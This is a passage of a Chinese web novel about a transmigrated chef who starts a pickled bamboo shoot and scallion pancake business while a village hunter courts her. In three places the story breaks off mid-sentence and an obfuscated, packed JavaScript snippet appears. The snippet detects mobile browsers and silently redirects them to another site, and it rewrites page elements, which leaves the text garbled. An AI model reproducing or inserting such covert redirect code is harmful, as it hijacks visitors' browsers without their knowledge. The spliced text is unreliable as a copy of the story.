徐安然见猪没了动静,这才敢出来。 “躲得不错。”周时边清理匕首上的血液,边说。语气里满是欣赏,遇见野猪没有大叫,还能冷静地吹哨,在他战斗期间也没发出声音干扰。 “但是你说说为毛这哨子吹不响?” “要是能吹响,更会惹怒这头野猪,到时候你的处境会更危险。” 周时一脚踹上野猪死不瞑目的双眼。 “那既然都吹不响,你是怎么知道我这里有危险的?” “男人的第六感。” “周大哥,你觉得我会信吗?” “哈哈哈。”周时本来想要逗一下徐安然,但发现徐安然根本没那么傻,随后说了真话,“这个笛子能吹出声音,但很细,我听力好,对这笛子声音敏感,十丈之内都能听到。” 徐安然没想到还有这样的神器,也没想到周时这么厉害。 她又好奇地问:“你有没有内力?” 周时被她问得有些懵,挠了挠头:“内力是什么东西?” 她被这话打回了现实世界,看来这个朝代还是很正常的,没那么多无视牛顿的人存在。 “没什么,那接下来我们怎么处理这头野猪?” “扛回去。” “那我的竹笋怎么办?”她焦急问。 “先把你竹笋搬下山。”周时没有一句废话,活干得也利索。 谈笑间,只见周时猛地扛起看着两百斤重的野猪,气不带喘地走来,放在刚刚她躲过的树后。紧接着又走到不远处拔了一捆草,铺盖在野猪上。 她看呆了…… 这人力气真大。 如果之后能哄骗……不对,招回她店里帮忙,又能省一笔开店成本。 “你铺这些草有什么用呀?味道好臭。” “血封草,止血的同时也可以遮盖血腥味。我们下山期间不能确定是否会有其他野兽闻着血腥味赶来,这么做是为了保证这头野猪不被吃掉。” “谢谢,受教了。”徐安然也不跟他客气,上来一趟,已经记住了路,此时她走在前面,周时背着竹笋,跟在她身后。 于此同时,苏清刚从村长家出来。 今早徐安然跟周时上山时,过于高兴,即使上山会路过自己家,却还是忘了跟家中老娘打过招呼,苏清担心了好久。 所以,在徐安然兴高采烈地回家喊老娘时,迎接她的是双手叉腰,拿着扫帚站在门外的苏清。 “娘?”她不可置信地看着苏清,这还是她那个温柔的老娘吗?这三天她在家养病的时候明明很温柔的。 周时识趣地将竹笋放在门后,悄然离开。她们娘俩都没空搭理他,自己一个人站在那里,还影响苏大娘发挥。 至于发挥什么,他就不知道了。 “不是跟你说过,上山之前回来跟我说一声吗?为娘一直在家里等着你,你腿还没好全,想去村长家问问情况,但又怕你回家见不到娘。”苏清说完,都要哭了。她放下扫帚,哪里舍得打唯一的女儿。 虽然跟苏清相处时间不长,但徐安然知道她是个泪失禁体质,感动要哭,担心也要哭。 听到她的解释,内心自责得不行。但同时又很开心,这就是被人惦记的感觉。 她连忙上前抱住苏清,将脑袋窝在她的肩膀,闷闷道:“娘,安然知道错了。” 这一次叫娘,她带着自己的情感。 苏清也觉察了,她猛地怔住,好一会儿,才回抱住徐安然,“娘刚刚情绪有些激动了,对不起。” “娘……您不用跟我道歉,是我该反思才是。” 母女俩在此敞开心扉,徐安然迫不及待地领着苏清看她今天的胜果,她指着被放在院子里的竹笋,“你看,这就是能让我们赚第一笔钱的东西。” 苏清走上前,拿起一根竹笋看了看,随后抬头问道:“竹笋?” “您知道?” “这东西娘早就听闻山里非常多,但没人要。安然,你费这么大劲儿背回来的竹笋,打算怎么做?” 徐安然神秘一笑,“容女儿绕个关子,您先跟我把这些竹笋皮都扒了。” 她能想到做酸笋,也是因为看到了家里有一口老井,井水能直接喝,味道甘甜,这样的井一般人家还没有呢,大多都需要到村中的池塘里取水。她们家目前也就这口井最值钱了。 她拿来两个小椅子,娘俩坐在院子里,下了几天的雨终于停了,正午的阳光洒在两人身上,暖洋洋的。 苏清虽然身体状况大不如前,但干起活儿来,却比徐安然还要利索。 如果苏清病好了,一定也是她开店之后的得力助手。想到这,徐安然真想扇自己一巴掌,连自己娘都算计。 苏清本想着只剥一半,但是徐安然却一定要今天弄完。 她说:“酸笋要的就是笋新鲜,今天挖今天做,放一天都算不新鲜了,口感会大打折扣。” 虽然不理解,但苏清全都照做了。 最后几个竹笋交给苏清剥,自己则一瘸一拐地来到井水旁,经过太阳的洗礼后,陶罐里外都干了。 将剥好的竹笋洗干净,切成大小相同的片状,沥干水分后尽数放入陶罐中,古代没有玻璃瓶,陶罐就是很好的替代工具。 酸笋的腌制方法很简单,只要保证陶罐里没有油,是干燥的,再将井水末过竹笋,盖上盖子,腌制时间三天左右,最长可以存放两年。 她并不打算一直靠着酸笋赚钱,所以保留的都是最嫩笋心,做完一切准备,光是看着这一坛罐子,都已经想要流口水了。 直到将竹笋全部腌制完成,已到傍晚时分。 徐安然累瘫在椅子上,摇摇欲坠的椅子,她坐着都不安心。 看着身后的椅子,她暗自发誓,赚了钱第一件事给苏清治病,第二件事就要把椅子换了。 目标在眼前,她更有动力了。 不过……在赚钱之前,她必须得问清楚一件事。 晚饭时间,母女俩对面而坐。 “娘,咱家应该没有欠别人钱吧?” 苏清不明白徐安然为什么会这么问,但还是认真地摇了摇头:“没有。只有别人欠我们钱。” “就是那个携款跑路的,老爹曾经的伥鬼好友?” “对,那人名叫许山,听人说,如今在汴京做生意,我也不知真假。” “汴京……”那很远了,不过,徐安然认真地看着苏清的双眼,“等我生意做大了,亲自去一趟,把咋们家的钱要回来。这样,爹泉下有知,也能开心些。” “娘不求你真的能拿回这笔钱,只求我们家安然啊,健康平安地过自己的小日子,不愁吃喝,天天开心,娘就知足了。” 徐安然握住苏清的手,“这也是安然所求的。娘,我们母女俩朝着这个目标努力,我们一起。” “好~” 之后的时间里,徐安然又给苏清大致讲了自己的生意宏图,听完后,苏清眼里的欣赏彻底藏不住了。她很好奇,新女儿以前是个什么样的人,于是她问:“安然,你昨天说,你来自另一个世界?” “嗯!”徐安然将手里的葱花饼放在,说,“我从小就是孤儿,在孤儿院长大,院长妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092701|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈对每个孩子都很好,她会请老师教我们各种手艺,当时院长妈妈问我,最想学一门什么手艺。 我说,我想学厨师。 院长妈妈问我为什么想学厨师?我说……这样长大后我就有饭吃了,因为我可以自己做饭。” 听她说完自己的经历,苏清又有些控制不住眼泪了,她连忙转移话题,换了副欢快的语气:“你看,又想掉眼泪,总哭的话,是会将好运哭走的哦,我们要每天都乐呵呵的,这样好运才会不知不觉到来呀。” “好。”苏清吸了吸鼻子,“娘以后多笑笑,要给我们家安然多攒些好运。” “嗯!”说完,徐安然抱住苏清,窝在她的怀里。 这就是母亲的怀抱,好温暖。 虽然目前家里一贫如洗,但身边有爱她的母亲,不算差。 又过了一会儿,徐安然开始向苏清打听村里的事,第一个打听的人,就是周时。 虽说是个不爱说话的,但给她的印象还算不错。至少是个好人。 于是接下来的时间,徐安然旁敲侧击地向苏清打听了一番,“娘,上次救我的那位猎户大哥,你了解多少,你觉得他这个人靠谱吗?” 虽然疑惑女儿为什么要打听其他男人,但一想到周时的脸,苏清好像明白了。 她女儿长大了,有些少女心事很正常。 “他不算是真正的山亭村人,是周老猎户在山上捡来的孩子。周时这孩子也是可怜,被扔在山里虽然被老猎户捡回去了,但这老猎户的命跟你爹一样薄,在周时八岁时就去世了,临终前,将那孩子托付给自己的好兄弟李四,就住在周时家旁边,也是个猎户。周时那孩子是个孝顺的,这么些年一直在报答李四的恩,不过……” “不过什么?” “不过,那孩子好像性格方面有些问题,二十五了也不娶妻,村里人都说……都说……”苏清有些难以启齿,“哎呀,那话羞得很。” 虽然未明说,但徐安然懂了。 “噢,原来是姐妹啊。”那更放心了。 “什么姐妹?他没有姐妹,是家中独子。”苏清一本正经地说。 “嗯嗯。”徐安然不想跟苏清解释那些,“昨天一起上山一趟,我觉得他人还不错,您也这么觉得,素以我决定等我的店开起来了,将他招来店里做事。” “这想法好,那孩子力气大,也是个热心肠,就是比较轴,你得好一通请了。” “我不怕人轴,就怕人坏。放心吧娘,我自有打算。” “娘信你。” 此时准备要出门上山的周时不知道,徐安然已经将他了解得差不多了。 今天望着空荡荡的门口,他突然想到了徐安然,一颦一笑皆在脑海中浮现。也不知道是怎么了,他以前从未这样过。 眼前突然晃出一个手的残影,打断了他的思绪。 “想什么呢?” “你在给我扇风吗,李叔。” “嘿,你这小子,几天不见都变得幽默了,不会说话就跟以前一样沉默就好。” 周时果然不说话了。 “你看我这记性!”李四拍了拍自己的脑袋,“这两天先别急着上山了,我又托你婶子在别的村给你寻了几个好人家的姑娘,都二十五了,一点也不操心自己的终身大事,我一把年纪,好要替你和你爹操心。” 以前周时听到这些话,从来都是左耳朵进右耳朵出,因为即使他拒绝,高婶还是会带人来家里。 但这次,周时十分反常,并且他自己也不曾察觉到自己的反常。 “不必了,我还没有成亲的想法。” “你个不孝的,成家立业是每个男人一生最重要的事,你打算就这样一辈子?再过几年,等你这张脸老了,就没姑娘能看得上你了。”说完,李四又突然觉得自己说话太重了,换了副温柔的语气,“找妻子,不一定要找长得很好看的,人好、对你好就行了,眼光别那么高,村里比那些比你条件差的,哪个不是已经娶妻了?你没听村里的大娘们怎么传你闲话的?等你娶了妻,这些闲话就没有了。” “李叔,村里大娘话多,您怎么也听风就是雨。” “你是觉得我年纪大了不能抽你了是吧臭小子!”说完,李四就要拿起门口的扫帚。 只是还没等扫帚落下,就听见周时说了句他都不敢相信的话,“我应该是有喜欢的女子了。李叔,您真别给我介绍了。” 明明只见过徐安然几面,但他却能常常想起他,或许,他这是心动了。 “应该是什么意思?你说清楚啊。” 周时却不想多说,他拿上匕首和弓箭,离开了家,走之前还不跟李四说:“记得帮我锁门,李叔。” 李四想追,却见到了不远处,泪眼婆娑的小柔。 见李四发现自己,小柔转身就跑,压根不给李四反应的时间。 他剁了剁脚,“这都什么跟什么啊!” 5. 第 5 章 李四知道小柔对周时的心思,也很支持两人凑一对儿,奈何周时是个木头,经常无视小柔的暗示,如今听到周时心里有了喜欢的人,不知道会有多伤心呢。不过……能让周时心动的女子,他还真想见一面。 五天时间一晃而过,期间徐安然安静在家养腿,本就是扭伤,所以好得还算快。 家里虽然没有钱入账,但是这几天家中唯一的母鸡十分给面儿,每天都能下一颗蛋,所以娘俩倒也相对勉勉强强地过了几天有鸡蛋吃的好日子。 酸笋腌制得差不多了,徐安然想带去镇上卖。这几天在村里做了几天调研,发现村民们对她新研发的酸笋并不感兴趣,想着镇上的百姓应该更能接受。 她一个人去镇上倒不是什么难事,难的是两口腌制酸笋的坛子该如何一并带上。 而且,她还想再做些葱花饼,一起摆摊卖了。 家里的葱没多少了,于是徐安然又打上了周时的主意。 这次,没有了小柔带路,天刚亮,她便动身独自去找周时。 同样的时间,周时准时开门,前几天想着的面孔此刻就出现在自己眼前,周时怀疑是不是自己看错了,正要揉眼时,徐安然说话了。 “早上好啊,周大哥。” 周时憨憨地点头:“安然姑娘,早上好。” 她今天好像有些拘谨,在得知她找自己的目的后,周时明白了。 “上山?” 她点了点头,紧接着将手上的葱花饼递给周时,讪笑道:“嘿嘿,周大哥,这是我自己烙的葱花饼,你拿着。我最近手头比较紧,等我赚了钱,我再将这次你带我上山的钱结给你,先欠着,你意下如何?” 周时看着徐安然小心翼翼看着他的模样,竟觉得有些可爱,他不露痕迹地扯了扯嘴角,说道:“这个饼就算是路费了,正好我早饭还没吃。” 这回轮到徐安然呆滞了。 这么容易就被说服了? 一定是她的葱花饼太香了。 两人依旧一前一后地上山,早晨天蒙蒙亮,村里已经有人在田里地劳作了,宁静又祥和,如果不是很缺钱,她十分喜欢这样的小农生活。 上辈子努力赚钱,要的也是这样的生活。 在一处僻静之地,有一间小屋,一间小院,猫狗相伴…… “周大哥,你平时打到的猎物,除了自己吃之外,是不是还会拿到镇上去卖?”在进山途中,徐安然试探性问。 “嗯,我打到的大部分猎物都会拿到镇子去卖,再买处理好的肉回来,很多猎物的肉不好吃,交给专门的人处理会更好。”他才不会承认,自己厨艺差。 路上,怀里的葱花饼一直散发着香味,其实他吃过早饭了,但这会还是被这股味道勾引了。 于是在徐安然不知道想什么的时候,他问:“这饼是你娘做的?” “是我做的,你快试试,看看味道如何。” 周时等的就是她这句话,等徐安然说完,他强装矜持地点了点头,一口咬下还有些余热的葱花饼。 瞬间,葱香味在口腔充斥。 “葱居然还能这么做,除了葱,你还加了什么?” “葱油,就是用猪油炸了葱白得到的油,会带着葱香味,加了些盐调味,最后放上小葱,如此便做好了。” “这葱花饼我从未在镇上见到过,何不尝试着拿去镇上卖?” 妈耶,果真是瞌睡来了就送枕头,徐安然猛拍大腿,“我正有此意!我还腌了些酸笋,打算过两天一并带去镇上卖呢。” “你不知道,葱可以做的美食太多了。就比如葱花面,用油将葱的香味炸出来,期间用水将将面煮熟,过一遍凉水,葱油炸好之后,加一勺滚烫的开水,下过凉水的面,有条件的再加上一个蛋,最后加些盐调味,一碗香喷喷的葱花面就煮好了,在这个季节,作为早餐吃,再温暖不过了。” 徐安然甚至给自己都说馋了,下山回家就让她娘擀面,然后煮一碗。 周时也被她说馋了,觉得手里的葱花饼都没那么香了。 她再继续说:“除了葱花饼之外,还有葱炒蛋、小葱拌豆腐,还可以做成饼干呢,葱花饼干,不是你现在吃的葱花饼哦,是那种硬硬的,可以当作零食吃的葱花饼干,方便储存,适合当作干粮。你如果不嫌弃,我做好之后,可以分你一些,不过我有个小小的请求……你去镇上卖肉的时候,能不能顺便带上我。” 她这几天经常往村外走,跟离村的人说了几句话,得知距离她们村最近的镇子都要三公里,走路的话,要半个时辰左右,她这腿不好,是走不了的,况且还要背着笋。 在村里,她最熟的人就是小柔和周时了,小柔看着比她力气还要小。周时力气大,就是不知道他愿不愿意帮这个忙。 如果不愿意的话,她只能另想办法了,要么现在村里试卖两天,存了些钱后包个车,帮她将东西运到镇上。 “不让你白带,等我的酸笋和葱花饼卖了钱,会支付你路费,我娘身体不好,酸笋也挺重的……现在已经开春了,我娘的肺痨每到这个季节就会更严重,我想早点赚钱,抓药给我娘治病。”她往惨了说,赌的就是周时是个心软的人。 “行,你什么时候要去?拉车的李叔我认识,我跟他说一声,可以不收你钱。” “谢谢你!两日后出发。我有钱付给李叔,不过得等东西卖完回来之后。我这是第一次去镇上,就是想找个经常去的人带着,不至于迷路。”她家目前就剩下几个铜板了,已经不支持她先去镇上探查情况了,只能准备好一切,直接干。 “家里面粉还多吗?” “嗯?”徐安然不明白他为什么这么问。 不过还是说了实话:“不算多,不过我打算去村长家借一些,等我赚了钱,再买回同样的数量还给村长。” 不知道为什么,周时不希望徐安然去求别人,他说:“我家里还有十斤白面,够吗?” “嗯?”是她想的那个意思吗? 徐安然回答的声音都在颤抖。 “我借给你,不用去村长家了,我家距离你家更近。”这个理由,有些牵强。 但徐安然信了。 “等会回家了,我给你些张欠条。请你放心,这十斤白面,我一定会还你!”徐安然心花怒放,笑容格外灿烂。 周时被她这明媚的笑容晃了眼,一摸红悄悄爬上耳后根,“嗯。”他点头,“不用写欠条,我信你。” “周大哥,你果然是大好人!” 谈笑间,两人来到昨天挖笋的地方,今天徐安然的目标不是它们,径直朝不远处的一片绿地走去,那儿长满了野葱,叶子老长了。 不过徐安然只摘嫩的,放过老的。不仅有野葱,还有茴香,细细高高的,像草,所以很容易被人忽略。 周时就是其中之一,“你怎么连草都摘?”他问。 “这可不是杂草,这是茴香,一种可食用的蔬菜,有一股特殊的甜香,凉拌、炒菜、做馅、炖汤都可以。” “如何做?” “比如,茴香炒鸡蛋,将茴香切碎拌上蛋液,加盐炒熟,凉拌茴香,锅里加水入锅煮三弹指的时间就捞出,沥干水,加香油、酱油、五香粉、盐搅拌均匀……总之啊,茴香的作用很大,你如果感兴趣,也可以带一些回去试试。” 说完,徐安然将摘下来的茴香分成两份。 “它跟韭菜很像,属于割茬蔬菜,不要连根拔,用镰刀割,就跟收韭菜一样,割完之后,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092702|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟韭菜一样还能再长。” “原来如此,你懂得真多,周时受教了。” “哎。”徐安然摆了摆手,“甭客气,你不用在这守着,去周边打猎吧。” “行,有什么事依旧吹哨,我能听见。” “好。” 周时离开了茴香小葱地附近。他天天上山,但一月中也就只有那么三五天能打到大活物,三天前打了只近乎两百斤的野猪,心里也知足了,没想着这一趟会有什么收获。 只是有时候越是无心越是好运,他发现了一个兔子窝。兔子见到他跑得很快,一个个全部躲回了窝里,给了周时一网打尽的机会。 不过这次他没有当场宰杀,雪白的兔子,可爱极了。他想带回去给徐安然,不知道她会不会愿意拿回家养。 将兔子养在家中,每次见到它们的时候,徐安然应该会想到自己吧…… 周时心里想。 只是他没想到…… 徐安然对兔子只有做成食材的欲望。 “这个做成麻辣兔头,特别好吃!你吃过吗?”问完徐安然就后悔了,连小葱拌豆腐这道菜他们都不知道,怎么会知道麻辣兔头。 果不其然,周时迷茫地摇头。 “你不想养它们吗?我以为女孩子都会喜欢可爱的动物。” 徐安然看着瑟瑟发抖的三只兔子,摩挲着下巴,“养着也行……毕竟现在还没那么小。” 周时松了口气,养着就行。 “养大了再做成麻辣兔头,现在肉太少了。到时候我做好了,邀请你来吃,一定要来啊。” 周时:……这口气还是松得太快了。 不过,徐安然邀请他一起吃兔头……这和昌不是一件好事呢。 他点了点头,“好,我等着你的邀请。” “你就放心吧,我最会养这些动物了。”徐安然看着周时手上的三只小兔子,不怀好意地笑,“兔子肉最好吃了,特别是养得肥肥的兔子。” “我们是不是别在它们面前说这些。”周时都有些听不下去了,替兔子感到伤心。 “你没少打猎,怎么这心肠比我还软。心软的人,不适合杀生,我看你可以换个工作,比如……找个店做跑堂,你这一身体力,很合适呀。”说完,她继续眼神寻找最嫩的葱。 “嗯……”周时语噎,将兔子装回笼子里,随后来到徐安然身边,“需要我帮忙吗?” “不用。”徐安然挥了挥手,“你继续去打猎吧。” “已经打完了,今天的收获不错。” “三只兔子也叫收获不错呀?”说完,徐安然挑了挑眉,一脸了然,“哦~你在催促我。” “没有没有,你随意,我在旁边等你,有需要帮助就喊我。”周时赶紧解释。 “快好了,我想多摘一些,十斤白面可以做三十个葱花饼,还比我今天给你的饼更大一倍呢。” “好。” 周时不再说话了,他嘴笨,说得多容易被误会。 他一个一米九的大块头,站在徐安然身边,将阳光都挡了大半。上山花了半个多时辰,加上采摘的时间,这会儿太阳已经很毒辣了,晒得人皮肤发烫,但现在有周时帮挡着阳光,缓和许多。 既然决定了要养着兔子,那么兔子的粮食必不可少,山中能吃的野菜很多,这地方村里人都不敢进来,所以没被薅光,徐安然摘了些比较老的野菜,剩下的比较嫩的继续留在这里,过几天再来采正好。 这次,不需要周时做苦力了,他背着兔子,徐安然背着葱,两人并行下山。 下山的路比上山好走,不到半个时辰,她们便已经抵达山下。本以为和上次一样各回各家,结果在山下,撞见了来回徘徊的小柔…… 6. 第 6 章 虽不知道小柔为什么会在大中午的出现在这里,但还是热情地跟她打招呼。 只是,今天的小柔好像有些不对劲儿,看着她的眼神不对劲儿。 小柔此刻心中凉了半截,因为徐安然跟周时同时下山,且两人看起来十分熟络。特别是周时,他从来没有那样对自己笑过。 “哦,安然。”她魂不守舍地回。 “你怎么了?要不要去我家,给你试试我刚做好的葱花饼,过两天我还想拿到镇上去卖呢。” “葱花饼?那是什么样的饼?” “来我家就知道了。”徐安然大大咧咧地说。 她不懂小柔的心思,只一味推荐自己的葱花饼。 “算了,改日吧。”小柔挣脱了徐安然的手,转过身时看了周时一眼,便一言不发,头也不回地离开。 饶是徐安然再怎么神经大条,时候也察觉到了一丝不对劲。而且还是跟周时有关。 “你惹人家了?” “村里人都知道小柔对我有想法,如今看到你跟我一起下山,应该是不高兴了。” 周时这人,说话从不绕弯子,小柔的心思他早就知道,也早就表示拒绝。 但这么多年他身边从没有过莺莺燕燕,也就给了小柔希望。 “你们之间的恩恩怨怨不要牵扯到我啊。” 她一心只有赚钱,然后带着她娘一起过上好日子。 “放心吧,不会牵扯到你。”周时肯定地说。 “那就好。” 徐安然并未将这件事放在心上,跟周时道别后,两人在山下分开。两人家虽然距离近,但却不同路,一个在东,一个在西。 离开前,周时说:“晚些我将兔子送过去给你。” “行,谢谢你。”徐安然快速说完,拄拐杖朝自己家的方向走去。 周时回家拿东西没过太久,在她回到家的半时辰后,他便提着兔子和面粉朝着徐安然家的方向走来了。村里没人不认识周时,他一个大块头走在路上,也是无法令人忽视的存在。 大家见到他手上拿着面粉和兔子,纷纷打趣地说,“小周,拿着这么多东西,去跟哪家姑娘提亲呀?” 平日听大家调侃自己都能面不改色的周时此时却有些红了脸,不自然道:“婶子,别胡乱说。” “还害羞了,看来,木头终于开窍咯~到底是谁家姑娘呀,或者,是哪家男子?跟我们说说呗~” 周时解释不清,干脆加快了步伐,但听力极好的他还是听见了身后大家的嬉笑声。虽没什么恶意,但联想到正午时分徐安然说过的话……于是硬生生等到傍晚时分,大家都在家中吃晚饭的时候,才带着东西来到徐安然家里。 此时徐安然正在做葱花饼。 等会周时要来,她想着给周时带回家几个,当做这一趟山上的答谢。 家里还剩下一些猪油,徐安然决定全部用在葱花饼上,成败在此一举。 这一次,苏清全程观看,想在徐安然需要自己的时候,第一时间帮她。结果,压根就没有她能插手的地方。 徐安然的衣服袖子挽起,头发一并扎在脑后,身上兜着围裙,活脱脱厨师模样。她手里的面团,就像一个听话的木偶,捣、揉、揣、摔、擦,五种揉面步骤,就像一本教科书一般,呈现在苏清面前。 “好厉害。”苏清惊叹不已。 ”娘,您要是想学,我随时可以教你。” “我?我都一把年纪了,学得慢,还是算了吧。”生病这么些年,苏清零零碎碎地做了很多活,却没有真正学到过什么有用的技能,如今在自己女儿面前,苏清甚至觉得有些自卑。 所以在她提到可以教自己时,她第一反应是拒绝。 这种自我否定式,是在长期的压抑中形成的。徐安然深知这一点,所以她并不强求,她会用行动让苏清找回自信。 面团揉好之后,等待发酵。这是一个漫长的过程, 等待期间,徐安然挖了几勺猪油,葱花已经事先洗干净,大葱部分,用来炸猪油,炸好之后就是葱油,将葱油涂抹肉好的一张面皮张,只涂一面,最后在涂着猪油的面皮附近,均匀地洒上葱花。 沿锅扫上一圈融化的猪油,再将准备好的饼子贴在锅边,一面成型后,再翻另一面,反反复复,直到饼子熟透。 徐安然也不是什么都能做好做好的,柴火做饭的火候,她到现在都没能真正掌握,上次能将葱花饼做成,完全凭借运气,这次运气就没那么好了。 第一批饼都糊了。 苏清虽然有些心疼面粉,但也没责怪徐安然。 “没事儿,糊了的娘吃。” 她亲眼见过并且尝过葱花饼,深知徐安然的实力,所以没有因为一次失败就否定了她的努力。 “娘,下一批一定能做好。”徐安然认真说。 这次为了不浪费食材,她选了个小锅,然后看着火候心里默默数秒。第二次,徐安然成功了。 一个金黄酥脆的葱花饼出锅,热乎乎的,不停地在手上变换位置,最终被徐安然放在碟子里。比前几次做得都要好。 “娘,还是您先吃。” “哎,好。” 母女俩一口葱花饼刚下肚,门外就传来了敲门声。 傍晚时分,家家都在吃晚饭的时候,苏清不知是谁来敲门。 “应该是周大哥来了,我出去看看。” 徐安然快步出门,留下一脸莫名的苏清。 “周大哥?难道是周时那孩子?他来找安然做什么?”怀着一颗好奇的心,苏清也跟着徐安然走出了门。 这一出门,苏清都惊呆了。 周时身后背着一个大笼子,笼子里是三只瑟瑟发抖的小白兔,两手分别拿着一袋面粉和一吊猪肉。 徐安然显然也不知道这猪肉是怎么回事,看着还是扁担肉,是猪肉中最好吃一个部位,纯瘦无肥、嫩滑无筋膜。 周时将兔子放下,然后将猪肉递给徐安然,“面粉有些重,我替你拿进屋吧。” 难怪乡亲都说周时去提亲,这些东西确实像聘礼。 山亭村不是什么富豪村,村里的男子,大多都用几斤好肉或者鸡蛋、白面这样的食物向女方家提亲。有条件的还会准备红封。 一时间就连苏清也这样认为。 而且她女儿还接受了。 于是她连忙走出门,嘴里不停说:“等等!等等!” 正要踏进院门的脚猛地一顿,原地待着也不是,落地也不是。 徐安然有些茫然地回头:“娘,怎么不让周大哥进门?” 苏清这会儿腿脚利索了,几步化作一步走到徐安然身边,将她护在身后。 “你你你……你小子,什么时候打上我们家安然的主意了?你家长辈的呢?李老四怎么不来?” 说曹操曹操到。 下一秒,一道喜悦的声音出现,“来咯来咯,苏婶子,我来咯。” 这时,轮到周时茫然了。 李叔什么时候跟在他身后的? 李四来到周时身旁,笑得鸡贼:“小子,姜还是老的辣,我的跟踪技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092703|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术,你学不会滴。” 周时终于反应过来了,两位长辈都误会了,反观徐安然,依旧不知情。 “你们说什么呢?我怎么什么都听不懂?” 苏清和李四对视一眼,为了防止被村里其他人撞见,苏清还是邀请两人进了院子。 四人整整齐齐对视。 …… 半晌过后。 苏清恢复了笑脸。 原来一切都是误会。 但与此同时,她也有些可惜,周时的为人她知道,而且还能干,基本每次上山都有收获,女儿跟着他,一定不会吃苦。 但是…… 一切还是要以女儿的想法为主,女儿不喜欢,她也不想强求。 相较于苏清的些许遗憾,李四却一点儿也不改开始的开心。 村里有哪个女子能让周时这小子亲自将东西送上门啊,而且院子里的三只兔子一看就是山里打到的,没有现场宰了,而是带回来送给女子。 这心思,就差写在脸上了。 李四比周时还要开心,他总算是等到这老小子开窍了,接下来就希望在他有生之年,能看到这小子成家。 “既然一切都是误会,那婶子为刚才的无理跟你说声抱歉,另外,婶子还没亲自谢谢你当初救了安然。”说完,弯下了腰。 苏清是个明事理的人,也是个坦荡的人,即使对面的是比她年纪小的小辈,也做得到道歉。 周时连忙扶起她,“婶子,您言重了。” “这面粉是我们家借你的,但是这肉我们就不要了,太贵重了。”苏清欲要将肉还给周时。 周时不会拿已经送出去的东西,并且,这猪是徐安然发现的,理应有她一份才是。 “当时发现这头野猪时,安然就在旁边,所以这野猪也理应有她一份,婶子,您就收着吧。” 苏清这才转过头看着徐安然:”是吗?” 徐安然点了点头,“确切地说,是野猪先发现了我。” 苏清双手握住徐安然的双臂,上下打量,语气有些失态,“怎的不跟娘说?有没有受伤?” 徐安然笑了笑:“娘,没受伤,别担心。” 苏清这才松了口气,她转过身,再给周时行了一礼。 周时哪里受得,再次弯腰扶起。 “苏婶子,你这就太夸张了。”李四也忍不住说道。 苏清一意孤行,她看着周时,“你两次救下安然,这礼,应该的。” 徐安然也不阻止,苏清一定程度上……跟她一样犟。 周时顺势也回了礼。 “好了,到这就行了,东西收下,今后我们两家算是结识了,今后多走动啊。” 最后还是李四先出声,二人这才罢休。 在他们离开前,徐安然递上了自己刚做好的葱花饼,“家里目前还没什么可以答谢的,只有这小小的葱花饼,刚做好的,还热乎,希望李四叔和周大哥别嫌弃。” 周时看到葱花饼眼睛都亮了,哪里还会嫌弃。 “谢谢你。”他将葱花饼都拿了去。 李四没拿到,气愤地说:“嘿你小子,这里头也有我一份呢。” 徐安然不想让叔侄俩因为一份葱花饼争吵,于是将剩下的葱花饼都给了李四。她再做就是。 正是这一举动,让李四心里对徐安然的好感又升了许多。 回家的路上,李四暗戳戳地对周时说:“你小子,占便宜了。” 周时:…… “四叔,你又在说莫名其妙的话。” 7. 第 7 章 徐安然的家距离村子比较远,周围也没几个邻居。因此这次的小误会,只有她们两家人知道。 看着一旁乐呵呵哼着歌走路的李四,周时没忍住提醒两句:“四叔,你回去别乱说,省得被有心人听了去,坏了人家姑娘的名声。” 李四仰着头看这个从八岁开始带到大的孩子,觉得好陌生,情商高得不像话,“这个先字,是什么意思?难道你真对人家姑娘有想法?你说你有喜欢的女子,就是那姑娘吧?” “不是。”周时回绝。才见过徐安然几面,就说喜欢,未免太肤浅。 “大侄子,跟四叔还矫情呢?四叔懂你。”李四坏笑,“不过你这闷葫芦终于有个喜欢的女子,得有所行动啊。” 周时迫不及待,“什么行动?” 见状,李四一脸得逞地笑:“你看,还说没心思。” “四叔!” “行行行,四叔作为一个过来人。教你几招,凑过来点。”李四压低声音,一副老师样,“首先你得确认好,人家姑娘看你是否顺眼,要是看你不顺眼,你做啥都是错的。如果姑娘看你顺眼,那你就可以送吃的、送喝的、送银子,什么值钱就送什么。男人嘛,大方点。但是有一点特别重要,你一定要给女孩子一种她被特殊照顾的感觉,你得只对这么她好,其他的女子你是一眼都不看,其他女子跟你说话,也不能搭理。” 周时挠了挠头,疑惑地问:“前面的我很赞同,但是不搭理人,那岂不是很没有礼貌?” 